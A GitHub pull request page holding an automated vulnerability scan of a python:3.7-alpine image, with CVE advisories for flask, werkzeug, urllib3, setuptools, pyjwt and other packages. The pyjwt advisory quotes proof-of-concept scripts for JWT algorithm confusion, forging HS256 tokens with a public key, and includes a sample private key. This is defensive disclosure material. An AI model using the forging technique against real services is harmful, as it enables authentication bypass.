-
Notifications
You must be signed in to change notification settings - Fork 0
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
testing pipelines #2
Conversation
🔍 Vulnerabilities of
|
digest | sha256:42d311ff211638560d8e55b3e30160b6e844c02eac0ec9622e1cb60fd93cf4f7 |
vulnerabilities | |
platform | linux/amd64 |
size | 76 MB |
packages | 118 |
📦 Base Image python:3.7-alpine
also known as |
|
digest | sha256:e6da3ee9bb64dd12b98fa609487f112fe1e365522e6e8345309db15c22a80a51 |
vulnerabilities |
expat
|
Affected range | <2.6.3-r0 |
Fixed version | 2.6.3-r0 |
EPSS Score | 0.091% |
EPSS Percentile | 41st percentile |
Description
Affected range | <2.6.3-r0 |
Fixed version | 2.6.3-r0 |
EPSS Score | 0.091% |
EPSS Percentile | 41st percentile |
Description
Affected range | <2.6.3-r0 |
Fixed version | 2.6.3-r0 |
EPSS Score | 0.046% |
EPSS Percentile | 19th percentile |
Description
Affected range | <2.6.0-r0 |
Fixed version | 2.6.0-r0 |
EPSS Score | 0.088% |
EPSS Percentile | 40th percentile |
Description
openssl 3.1.3-r0
(apk)
pkg:apk/alpine/[email protected]?os_name=alpine&os_version=3.18
Affected range | <3.1.6-r0 |
Fixed version | 3.1.6-r0 |
EPSS Score | 0.044% |
EPSS Percentile | 15th percentile |
Description
Affected range | <3.1.7-r0 |
Fixed version | 3.1.7-r0 |
EPSS Score | 0.045% |
EPSS Percentile | 18th percentile |
Description
Affected range | <3.1.6-r0 |
Fixed version | 3.1.6-r0 |
EPSS Score | 0.044% |
EPSS Percentile | 12th percentile |
Description
Affected range | <3.1.4-r0 |
Fixed version | 3.1.4-r0 |
EPSS Score | 0.106% |
EPSS Percentile | 45th percentile |
Description
werkzeug 1.0.1
(pypi)
pkg:pypi/[email protected]
Affected range | <2.1.1 |
Fixed version | 2.1.1 |
EPSS Score | 0.113% |
EPSS Percentile | 47th percentile |
Description
** DISPUTED ** Improper parsing of HTTP requests in Pallets Werkzeug v2.1.0 and below allows attackers to perform HTTP Request Smuggling using a crafted HTTP request with multiple requests included inside the body. NOTE: the vendor's position is that this behavior can only occur in unsupported configurations involving development mode and an HTTP server from outside the Werkzeug project.
Cross-Site Request Forgery (CSRF)
Affected range | <3.0.3 |
Fixed version | 3.0.3 |
CVSS Score | 7.5 |
CVSS Vector | CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H |
EPSS Score | 0.045% |
EPSS Percentile | 18th percentile |
Description
The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances. This requires the attacker to get the developer to interact with a domain and subdomain they control, and enter the debugger PIN, but if they are successful it allows access to the debugger even if it is only running on localhost. This also requires the attacker to guess a URL in the developer's application that will trigger the debugger.
Uncontrolled Resource Consumption
Affected range | <2.2.3 |
Fixed version | 2.2.3 |
CVSS Score | 7.5 |
CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
EPSS Score | 0.247% |
EPSS Percentile | 65th percentile |
Description
Werkzeug's multipart form data parser will parse an unlimited number of parts, including file parts. Parts can be a small amount of bytes, but each requires CPU time to parse and may use more memory as Python data. If a request can be made to an endpoint that accesses
request.data
,request.form
,request.files
, orrequest.get_data(parse_form_data=False)
, it can cause unexpectedly high resource usage.This allows an attacker to cause a denial of service by sending crafted multipart data to an endpoint that will parse it. The amount of CPU time required can block worker processes from handling legitimate requests. The amount of RAM required can trigger an out of memory kill of the process. Unlimited file parts can use up memory and file handles. If many concurrent requests are sent continuously, this can exhaust or kill all available workers.
krb5 1.20.1-r1
(apk)
pkg:apk/alpine/[email protected]?os_name=alpine&os_version=3.18
Affected range | <1.20.2-r1 |
Fixed version | 1.20.2-r1 |
EPSS Score | 0.087% |
EPSS Percentile | 39th percentile |
Description
Affected range | <1.20.2-r1 |
Fixed version | 1.20.2-r1 |
EPSS Score | 0.087% |
EPSS Percentile | 39th percentile |
Description
gevent 21.12.0
(pypi)
pkg:pypi/[email protected]
Affected range | <23.9.0 |
Fixed version | 23.9.1 |
CVSS Score | 9.8 |
CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
EPSS Score | 0.305% |
EPSS Percentile | 71st percentile |
Description
An issue in Gevent before version 23.9.0 allows a remote attacker to escalate privileges via a crafted script to the WSGIServer component.
setuptools 57.5.0
(pypi)
pkg:pypi/[email protected]
Inefficient Regular Expression Complexity
Affected range | <65.5.1 |
Fixed version | 65.5.1 |
CVSS Score | 8.7 |
CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:L/SI:L/SA:N |
EPSS Score | 0.532% |
EPSS Percentile | 78th percentile |
Description
Python Packaging Authority (PyPA)'s setuptools is a library designed to facilitate packaging Python projects. Setuptools version 65.5.0 and earlier could allow remote attackers to cause a denial of service by fetching malicious HTML from a PyPI package or custom PackageIndex page due to a vulnerable Regular Expression in
package_index
. This has been patched in version 65.5.1.
Improper Control of Generation of Code ('Code Injection')
Affected range | <70.0.0 |
Fixed version | 70.0.0 |
CVSS Score | 7.5 |
CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
EPSS Score | 0.043% |
EPSS Percentile | 11th percentile |
Description
A vulnerability in the
package_index
module of pypa/setuptools versions up to 69.1.1 allows for remote code execution via its download functions. These functions, which are used to download packages from URLs provided by users or retrieved from package index servers, are susceptible to code injection. If these functions are exposed to user-controlled inputs, such as package URLs, they can execute arbitrary commands on the system. The issue is fixed in version 70.0.
setuptools 47.1.0
(pypi)
pkg:pypi/[email protected]
Inefficient Regular Expression Complexity
Affected range | <65.5.1 |
Fixed version | 65.5.1 |
CVSS Score | 8.7 |
CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:L/SI:L/SA:N |
EPSS Score | 0.532% |
EPSS Percentile | 78th percentile |
Description
Python Packaging Authority (PyPA)'s setuptools is a library designed to facilitate packaging Python projects. Setuptools version 65.5.0 and earlier could allow remote attackers to cause a denial of service by fetching malicious HTML from a PyPI package or custom PackageIndex page due to a vulnerable Regular Expression in
package_index
. This has been patched in version 65.5.1.
Improper Control of Generation of Code ('Code Injection')
Affected range | <70.0.0 |
Fixed version | 70.0.0 |
CVSS Score | 7.5 |
CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
EPSS Score | 0.043% |
EPSS Percentile | 11th percentile |
Description
A vulnerability in the
package_index
module of pypa/setuptools versions up to 69.1.1 allows for remote code execution via its download functions. These functions, which are used to download packages from URLs provided by users or retrieved from package index servers, are susceptible to code injection. If these functions are exposed to user-controlled inputs, such as package URLs, they can execute arbitrary commands on the system. The issue is fixed in version 70.0.
urllib3 1.26.3
(pypi)
pkg:pypi/[email protected]
Uncontrolled Resource Consumption
Affected range | >=1.25.4 |
Fixed version | 1.26.5 |
CVSS Score | 8.7 |
CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
EPSS Score | 0.292% |
EPSS Percentile | 70th percentile |
Description
Impact
When provided with a URL containing many
@
characters in the authority component the authority regular expression exhibits catastrophic backtracking causing a denial of service if a URL were passed as a parameter or redirected to via an HTTP redirect.Patches
The issue has been fixed in urllib3 v1.26.5.
References
For more information
If you have any questions or comments about this advisory:
- Ask in our community Discord
- Email [email protected]
Exposure of Sensitive Information to an Unauthorized Actor
Affected range | <1.26.17 |
Fixed version | 1.26.17 |
CVSS Score | 7.4 |
CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
EPSS Score | 0.114% |
EPSS Percentile | 47th percentile |
Description
urllib3 doesn't treat the
Cookie
HTTP header special or provide any helpers for managing cookies over HTTP, that is the responsibility of the user. However, it is possible for a user to specify aCookie
header and unknowingly leak information via HTTP redirects to a different origin if that user doesn't disable redirects explicitly.Users must handle redirects themselves instead of relying on urllib3's automatic redirects to achieve safe processing of the
Cookie
header, thus we decided to strip the header by default in order to further protect users who aren't using the correct approach.Affected usages
We believe the number of usages affected by this advisory is low. It requires all of the following to be true to be exploited:
- Using an affected version of urllib3 (patched in v1.26.17 and v2.0.6)
- Using the
Cookie
header on requests, which is mostly typical for impersonating a browser.- Not disabling HTTP redirects
- Either not using HTTPS or for the origin server to redirect to a malicious origin.
Remediation
- Upgrading to at least urllib3 v1.26.17 or v2.0.6
- Disabling HTTP redirects using
redirects=False
when sending requests.- Not using the
Cookie
header.
flask 1.1.2
(pypi)
pkg:pypi/[email protected]
Use of Persistent Cookies Containing Sensitive Information
Affected range | <2.2.5 |
Fixed version | 2.2.5 |
CVSS Score | 8.7 |
CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N |
EPSS Score | 0.239% |
EPSS Percentile | 63rd percentile |
Description
When all of the following conditions are met, a response containing data intended for one client may be cached and subsequently sent by a proxy to other clients. If the proxy also caches
Set-Cookie
headers, it may send one client'ssession
cookie to other clients. The severity depends on the application's use of the session, and the proxy's behavior regarding cookies. The risk depends on all these conditions being met.
- The application must be hosted behind a caching proxy that does not strip cookies or ignore responses with cookies.
- The application sets
session.permanent = True
.- The application does not access or modify the session at any point during a request.
SESSION_REFRESH_EACH_REQUEST
is enabled (the default).- The application does not set a
Cache-Control
header to indicate that a page is private or should not be cached.This happens because vulnerable versions of Flask only set the
Vary: Cookie
header when the session is accessed or modified, not when it is refreshed (re-sent to update the expiration) without being accessed or modified.
flask-cors 3.0.10
(pypi)
pkg:pypi/[email protected]
Improper Access Control
Affected range | <4.0.2 |
Fixed version | 4.0.2 |
CVSS Score | 8.7 |
CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N |
EPSS Score | 0.084% |
EPSS Percentile | 38th percentile |
Description
A vulnerability in corydolphin/flask-cors version 4.0.1 allows the
Access-Control-Allow-Private-Network
CORS header to be set to true by default, without any configuration option. This behavior can expose private network resources to unauthorized external access, leading to significant security risks such as data breaches, unauthorized access to sensitive information, and potential network intrusions.
py 1.11.0
(pypi)
pkg:pypi/[email protected]
Inefficient Regular Expression Complexity
Affected range | <=1.11.0 |
Fixed version | Not Fixed |
CVSS Score | 8.7 |
CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
EPSS Score | 0.668% |
EPSS Percentile | 80th percentile |
Description
The py library through 1.11.0 for Python allows remote attackers to conduct a ReDoS (Regular expression Denial of Service) attack via a Subversion repository with crafted info data, because the InfoSvnCommand argument is mishandled.
The particular codepath in question is the regular expression at
py._path.svnurl.InfoSvnCommand.lspattern
and is only relevant when dealing with subversion (svn) projects. Notably the codepath is not used in the popular pytest project. The developers of the pytest package have released version7.2.0
which removes their dependency onpy
. Users ofpytest
seeing alerts relating to this advisory may update to version7.2.0
ofpytest
to resolve this issue. See pytest-dev/py#287 (comment) for additional context.
certifi 2020.12.5
(pypi)
pkg:pypi/[email protected]
Insufficient Verification of Data Authenticity
Affected range | >=2015.4.28 |
Fixed version | 2023.7.22 |
CVSS Score | 7.5 |
CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
EPSS Score | 0.150% |
EPSS Percentile | 52nd percentile |
Description
Certifi 2023.07.22 removes root certificates from "e-Tugra" from the root store. These are in the process of being removed from Mozilla's trust store.
e-Tugra's root certificates are being removed pursuant to an investigation prompted by reporting of security issues in their systems. Conclusions of Mozilla's investigation can be found here.
pyjwt 1.7.1
(pypi)
pkg:pypi/[email protected]
Use of a Broken or Risky Cryptographic Algorithm
Affected range | >=1.5.0 |
Fixed version | 2.4.0 |
CVSS Score | 7.4 |
CVSS Vector | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N |
EPSS Score | 0.135% |
EPSS Percentile | 50th percentile |
Description
Impact
What kind of vulnerability is it? Who is impacted?
Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).
PyJWT supports multiple different JWT signing algorithms. With JWT, an
attacker submitting the JWT token can choose the used signing algorithm.The PyJWT library requires that the application chooses what algorithms
are supported. The application can specify
"jwt.algorithms.get_default_algorithms()" to get support for all
algorithms. They can also specify a single one of them (which is the
usual use case if calling jwt.decode directly. However, if calling
jwt.decode in a helper function, all algorithms might be enabled.)For example, if the user chooses "none" algorithm and the JWT checker
supports that, there will be no signature checking. This is a common
security issue with some JWT implementations.PyJWT combats this by requiring that the if the "none" algorithm is
used, the key has to be empty. As the key is given by the application
running the checker, attacker cannot force "none" cipher to be used.Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is
not a public key meant for asymmetric algorithm i.e. HMAC cannot be used
if the key begins with "ssh-rsa". If HMAC is used with a public key, the
attacker can just use the publicly known public key to sign the token
and the checker would use the same key to verify.From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm.
With ed25519, PyJWT supports public keys that start with "ssh-", for
example "ssh-ed25519".import jwt from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import ed25519 # Generate ed25519 private key private_key = ed25519.Ed25519PrivateKey.generate() # Get private key bytes as they would be stored in a file priv_key_bytes = private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption()) # Get public key bytes as they would be stored in a file pub_key_bytes = private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH) # Making a good jwt token that should work by signing it with the private key encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA") # Using HMAC with the public key to trick the receiver to think that the public key is a HMAC secret encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256") # Both of the jwt tokens are validated as valid decoded_good = jwt.decode(encoded_good, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) if decoded_good == decoded_bad: print("POC Successfull") # Of course the receiver should specify ed25519 algorithm to be used if they specify ed25519 public key. However, if other algorithms are used, the POC does not work # HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py # # invalid_strings = [ # b"-----BEGIN PUBLIC KEY-----", # b"-----BEGIN CERTIFICATE-----", # b"-----BEGIN RSA PUBLIC KEY-----", # b"ssh-rsa", # ] # # However, OKPAlgorithm (ed25519) accepts the following in jwt/algorithms.py: # # if "-----BEGIN PUBLIC" in str_key: # return load_pem_public_key(key) # if "-----BEGIN PRIVATE" in str_key: # return load_pem_private_key(key, password=None) # if str_key[0:4] == "ssh-": # return load_ssh_public_key(key) # # These should most likely made to match each other to prevent this behaviorimport jwt #openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem #openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem #ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY----- MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49 AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END EC PRIVATE KEY-----""" pub_key_bytes = b"""-----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END PUBLIC KEY-----""" ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc=""" # Making a good jwt token that should work by signing it with the private key encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256") # Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256") # Both of the jwt tokens are validated as valid decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) if decoded_good == decoded_bad: print("POC Successfull") else: print("POC Failed")The issue is not that big as
algorithms=jwt.algorithms.get_default_algorithms() has to be used.
However, with quick googling, this seems to be used in some cases at
least in some minor projects.Patches
Users should upgrade to v2.4.0.
Workarounds
Always be explicit with the algorithms that are accepted and expected when decoding.
References
Are there any links users can visit to find out more?
For more information
If you have any questions or comments about this advisory:
- Open an issue in https://github.com/jpadilla/pyjwt
- Email José Padilla: pyjwt at jpadilla dot com
anothere tests